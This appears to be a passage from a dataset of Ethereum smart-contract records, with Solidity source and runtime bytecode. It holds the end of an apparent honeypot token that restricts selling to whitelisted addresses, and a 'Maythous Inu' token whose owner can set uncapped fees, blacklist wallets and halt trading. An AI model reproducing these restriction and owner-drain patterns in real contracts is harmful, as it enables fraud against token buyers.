}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_UNDG(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122029e777762f7b5db8d5a475fc4b6ac1fcbf05941dbe8616599332bc2cef7bb71964736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 1,195 |
0xdc585a2ac1dfb547fec60660e8475000c45be47b | /*
https://t.me/maythousinu
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MaythousInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Maythous Inu";
string private constant _symbol = "MAYTHOUS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 5;
uint256 private _taxFeeOnBuy = 5;
//Sell Fee
uint256 private _redisFeeOnSell = 5;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0xffba7B52ba6934D2a8F178B97eA145CF0aBdC65d);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000000000 * 10**9; //1
uint256 public _maxWalletSize = 4000000000000 * 10**9; //2
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
// Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
} | 0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610530578063c3c8cd8014610560578063dd62ed3e14610575578063ea1644d5146105bb57600080fd5b806398a5c315146104a0578063a2a957bb146104c0578063a9059cbb146104e0578063bdd795ef1461050057600080fd5b80638da5cb5b116100d15780638da5cb5b1461041b5780638f70ccf7146104395780638f9a55c01461045957806395d89b411461046f57600080fd5b8063715018a6146103d057806374010ece146103e55780637d1db4a51461040557600080fd5b80632fd689e3116101645780636b9990531161013e5780636b9990531461035b5780636d8aa8f81461037b5780636fc3eaec1461039b57806370a08231146103b057600080fd5b80632fd689e314610309578063313ce5671461031f57806349bd5a5e1461033b57600080fd5b80631694505e116101a05780631694505e1461026a57806318160ddd146102a257806323b872dd146102c95780632f9c4569146102e957600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023a57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611925565b6105db565b005b3480156101ff57600080fd5b5060408051808201909152600c81526b4d617974686f757320496e7560a01b60208201525b6040516102319190611a4f565b60405180910390f35b34801561024657600080fd5b5061025a6102553660046118fa565b610688565b6040519015158152602001610231565b34801561027657600080fd5b5060145461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b5069152d02c7e14af68000005b604051908152602001610231565b3480156102d557600080fd5b5061025a6102e4366004611886565b61069f565b3480156102f557600080fd5b506101f16103043660046118c6565b610708565b34801561031557600080fd5b506102bb60185481565b34801561032b57600080fd5b5060405160098152602001610231565b34801561034757600080fd5b5060155461028a906001600160a01b031681565b34801561036757600080fd5b506101f1610376366004611816565b6107cc565b34801561038757600080fd5b506101f16103963660046119ec565b610817565b3480156103a757600080fd5b506101f161085f565b3480156103bc57600080fd5b506102bb6103cb366004611816565b61088c565b3480156103dc57600080fd5b506101f16108ae565b3480156103f157600080fd5b506101f1610400366004611a06565b610922565b34801561041157600080fd5b506102bb60165481565b34801561042757600080fd5b506000546001600160a01b031661028a565b34801561044557600080fd5b506101f16104543660046119ec565b610951565b34801561046557600080fd5b506102bb60175481565b34801561047b57600080fd5b506040805180820190915260088152674d415954484f555360c01b6020820152610224565b3480156104ac57600080fd5b506101f16104bb366004611a06565b610999565b3480156104cc57600080fd5b506101f16104db366004611a1e565b6109c8565b3480156104ec57600080fd5b5061025a6104fb3660046118fa565b610a06565b34801561050c57600080fd5b5061025a61051b366004611816565b60116020526000908152604090205460ff1681565b34801561053c57600080fd5b5061025a61054b366004611816565b60106020526000908152604090205460ff1681565b34801561056c57600080fd5b506101f1610a13565b34801561058157600080fd5b506102bb61059036600461184e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101f16105d6366004611a06565b610a49565b6000546001600160a01b0316331461060e5760405162461bcd60e51b815260040161060590611aa2565b60405180910390fd5b60005b81518110156106845760016010600084848151811061064057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067c81611bb5565b915050610611565b5050565b6000610695338484610a78565b5060015b92915050565b60006106ac848484610b9c565b6106fe84336106f985604051806060016040528060288152602001611c12602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061109f565b610a78565b5060019392505050565b6000546001600160a01b031633146107325760405162461bcd60e51b815260040161060590611aa2565b6001600160a01b03821660009081526011602052604090205460ff16151581151514156107a15760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e0000000000000000006044820152606401610605565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107f65760405162461bcd60e51b815260040161060590611aa2565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161060590611aa2565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461087f57600080fd5b47610889816110d9565b50565b6001600160a01b03811660009081526002602052604081205461069990611113565b6000546001600160a01b031633146108d85760405162461bcd60e51b815260040161060590611aa2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461094c5760405162461bcd60e51b815260040161060590611aa2565b601655565b6000546001600160a01b0316331461097b5760405162461bcd60e51b815260040161060590611aa2565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109c35760405162461bcd60e51b81